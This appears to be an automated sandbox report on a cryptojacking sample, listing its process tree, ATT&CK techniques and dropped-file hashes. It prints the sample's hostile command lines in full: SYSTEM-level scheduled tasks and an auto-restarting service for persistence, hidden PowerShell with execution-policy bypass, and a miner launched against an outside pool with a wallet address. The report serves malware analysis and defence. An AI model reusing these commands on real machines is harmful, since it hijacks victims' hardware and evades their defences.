PID 4868 wrote to memory of 676	4868	FleetComputeM4Service.exe	147
PID 4128 wrote to memory of 5260	4128	FleetComputeM4Service.exe	149
PID 2680 wrote to memory of 4752	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	151
PID 4752 wrote to memory of 4352	4752	cmd.exe	153
PID 4868 wrote to memory of 4656	4868	FleetComputeM4Service.exe	154
PID 2680 wrote to memory of 4312	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	155
PID 4312 wrote to memory of 4160	4312	cmd.exe	157
PID 2680 wrote to memory of 3552	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	158
PID 3552 wrote to memory of 5448	3552	cmd.exe	160
PID 2680 wrote to memory of 3040	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	161
PID 3040 wrote to memory of 4156	3040	cmd.exe	163
PID 2680 wrote to memory of 2416	2680	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	164
PID 2416 wrote to memory of 5804	2416	cmd.exe	166
PID 4128 wrote to memory of 3372	4128	FleetComputeM4Service.exe	169
PID 3372 wrote to memory of 696	3372	fc-m4.exe	171
PID 696 wrote to memory of 4736	696	fc-m4.exe	172
PID 696 wrote to memory of 5564	696	fc-m4.exe	173
PID 4128 wrote to memory of 5144	4128	FleetComputeM4Service.exe	174
PID 5144 wrote to memory of 3440	5144	fc-m4.exe	176
PID 3440 wrote to memory of 4840	3440	fc-m4.exe	177

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
"C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe"
1⤵
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Agent >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Agent
    3⤵
    PID:1836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:4156
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:4352
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4160
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe --run" start= auto obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\system32\sc.exe
    sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe --run" start= auto obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:5448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\sc.exe
    sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
    3⤵
    - Launches sc.exe
    PID:4156
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start FleetComputeM4 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\system32\sc.exe
    sc start FleetComputeM4
    3⤵
    - Launches sc.exe
    PID:5804

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
"C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run
1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Windows security bypass
- Windows security modification
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2776
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5400
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4292
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Windows\TEMP\agent_gpu1.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5132
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu2.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu4.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5260
- C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
    "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:4736
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 448 --ctl-out 436 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:5564
- C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5144
- - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
    "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/f41b65bf01 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:4840

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
"C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run
1⤵
- Executes dropped EXE
- Windows security bypass
- Windows security modification
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:708
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\System32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1872
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:676
- C:\Users\Admin\AppData\Local\FleetComputeM4\updater.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\updater.exe" --apply-update 4868
  2⤵
  - Executes dropped EXE
  - Direct Volume Access: Opens a physical disk for reading
  - Enumerates system info in registry
  PID:4656

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:5284
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5716
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2180
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\sc.exe
    sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1260
- - C:\Windows\system32\sc.exe
    sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
    3⤵
    - Launches sc.exe
    PID:3708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start FleetComputeM4 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\system32\sc.exe
    sc start FleetComputeM4
    3⤵
    - Launches sc.exe
    PID:5072

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:5880

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:2900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FleetComputeM4Service.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
Size 497KB
SHA256 40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa
MD5 8f66b94e8d3855e10e9d9b32ea1f54eb
SHA1 2b71c58baee241244a79eba9b9e19ad47e821537
SHA512 2e012def7d18c5dc4e78827d337568607bd290698f2f1996d4650344d742909084c07a5fa15ff057b21b6ea37adb066ebb96fdd6747b9eb2a9119b5d2b4ff351
SSDEEP 3072:4oAc8Ad/ITi7XJ1gqNrflj1cDual/+RiY6p0sTAzmBwNUdWGX+ceu+F+ScADcAsi:4oAcnd/ITczFNj1cnN+WcsBWWex0
TLSH
T112B420465E0BC8DDEBE2947460FAC4F492317D8C49E5908E2CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bzminer.worker.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\bzminer.worker.log
Size 1KB
SHA256 d9bd2ba15fe11d30ec73352c41cba94a4946420a8f74cf3b2474b5c61a5ec145
MD5 25198b4d66e139feb7927f9cfe81eaf5
SHA1 540d938fd35a9349304e225ba42914fde6a9240a
SHA512 608009f939e5b5360ff209b9ab7cf7d9c6f87c5336efb6f263c4e8e2e1ffcf17c598ee1f9bd8197838788c44efb3c899b7fc17340105c32a5f6c7d6667a140f4
TLSH
T193315596161A96B5134B04A4223D4E432F0322FF235C95EDB36DCED42DD7C98697F4A8
MD5 SHA1 SHA512 TLSH

Submit Download

bzminer.worker.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\bzminer.worker.log
Size 2KB
SHA256 6be93db7e2700862e0e5f9b4c1e668b86d33ebb71bfd09d4b2de7024db498201
MD5 69fcfdf40bb9ce203d9393bd7de42e66
SHA1 3bbb9a031e62d382af04916a013021c83ba2cb3b
SHA512 340bcbde090a3754ae25559e84b7c0eaf756aa4089be5a61d680f0276c27604ddaf725fae9b67afc92dff80b1b22bee8dc4871ff919fec2ee85a99c6fb31a101
TLSH
T10B517596161E9AB5130B00A0123D4E432E1322FF375C89EDB36DCE882DD7CA86D7F468
MD5 SHA1 SHA512 TLSH

Submit Download

fc-m4.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
Size 45.1MB
SHA256 3f8b858d255303d71cdcfa3fb882019d0106781c8677b8f1c36e3528f413e970
MD5 be1f8912c7067c70b032f4768bd130f1
SHA1 b7132d5f1225f4c228855a475b60d76c5cfee8ed
SHA512 304581daffde75e7a98f0e58e9efc907e3154d8e06fdc242deccb2e54fb20641b515138d3b1e7589d9e14941f0d029acc2cb71d2c06cff7fd9f3086573b5e409
SSDEEP 786432:BDCmt5EtvHhPALXa6NtbXzdoLyc2nJERrGI6efIndxsRn8icjnrsQPz:BG0MPhP0XaitHymciaRruq8BjnIQr
TLSH
T161A7335C0BB28BB1E815D938D6FCA05FB9F0A2059502C79054CC6ABF8ACF5E7165CE63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 417B
SHA256 d81cc42c689476b5fbcd14a29e2c75e13aeb2aed7ea3fa259db61c1d65e0e11e
MD5 7bb751c6bd143736461d3b09fdbb3b8b
SHA1 8707d73c74f3e2172985fd203eb218e9aee746ab
SHA512 3594c65dab1c0b3a29d14b871759349a6516f33e43294f3655af98a3950ff7096cd48efaa6c759561f791dcce08525f43f366f1a87c0aa4cb43da9770d0c9cad
TLSH
T1BAE0EDD2B2CB402E3C36573313ABEAC459BC484ACEC9A5F4A3E1D62B00589170E86837
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 e5192f247a3851a75fe8cabb1baea7b194cbff96228519472ee5e54bc66efbc9
MD5 fd0b234d46fd20155d7943e66be03220
SHA1 cf6ca571a59f4a06de072dad1b61ef04aa1a4d1d
SHA512 84965573aaa77b71dd59bbce49f6925e76b1f76c0909d095a0921ebbc9a2be7e0b4b691dec10942befc96da53c33b2359575fd739a14bcbb6881f6917a762c92
TLSH
T1993168D1B15B914E78A27F31C5E3DAD0DAA68022DD5E80F2E1B1972F00041A74EE24B2
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 7bede03cee2a126d3d5bc676fc99207fa7f06a3e1fbeb24232f2837ca5f1f176
MD5 eb90e7f120af1d4032c6cf46e6bfddf9
SHA1 6aa9df87527e7a6d586c125a90356a1e1f361934
SHA512 b6d7f74a6e86f9666a5ea7ec9a96cba2e0a766d6c14003a3c8a25fc377d9082be71e7cff281825fe70f0034c3e7358a9adb5c4020733648e10ab0941fc4d665c
TLSH
T1793198D2B15B810EB8B27F31C5E3D7D0CAA68012DD6E80F6E1B5932F00041A74E968B7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 166e8d7e4867e7196e5f5c92bc9f0f0b2c230ae155581b67c3ab6babd4ee044d
MD5 154c16ea210153f12b41f8da36d7a7c0
SHA1 9ead84ac1848660ac89ea5fa9639ffc6dcb1557f
SHA512 1b06e14e69348f68fdf10d3a26b1270ececdaf32f84e0c2801e94ddd9508e587cd61cde13bd5540e4c7f74fcae1c67ac1d22ad67d0da49bbd7575cb8588da4a2
TLSH
T1D2318BD2B15B850E79B27F31C5E3D7D0CAE68012DD5E80F5E1B5932F04041A74E968B7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 5a7e572bfef6323197d2a4212c4655d4ffb00b109c319e3b204511bb2b0e9e5b
MD5 eaf0343fd6b6f02fff636b23edefb9ec
SHA1 eca1f55b51c070ace5089a4fdbd17c0f8b2ec84b
SHA512 3e24ef33d0b175d2b279d33c2845e2442fdde19a6bd11948692ea74a5cf3a2f37f8a4db5bfa8f01e014de4129c006fba79c9bc1d154271d483bc167305d5f7e2
TLSH
T1493199D2B15B850E79B27F31C1E3D7D0CAAA8012DD6E80F5E1B5A32F04042A74E968B7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 663c002f32a0132bac9131cc6f3f5b838d565829cfd585b21904016bd5edc2de
MD5 cc64cab3985ce05c8a40d2aafa98cb36
SHA1 6ff62dcac18f7c1b2b254610bdc20ae06d25928d
SHA512 9d71f508d645b64f8ab0bdad0b9e07b032c5f89906fcd0b04c39fda94a89f75874483309ef2a819ef45525ef8978b61fde8454b2766dcbd2435e0e385639d213
TLSH
T1AC419BD2B15B854E79B27F31D1E3D7D0CAA68012ED6A80F5F1B5932F04042974EE24B7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 5e40d6bf57684e4189991534ef81433fde251207062a7626c3360e2bdb278ba2
MD5 0cd8455c0870f4ae35e60aecc8e78452
SHA1 d064c68c485b80c6be09ebc6b2ac610e1f3f4358
SHA512 085d90fb09c84441b4448dc536bd525036f1db8ad2bc4bd1ceb85e046e7de685e98dbf079ea35ae0dc56905a67b6662508132eb848784ef649c91d6a0bf376cc
TLSH
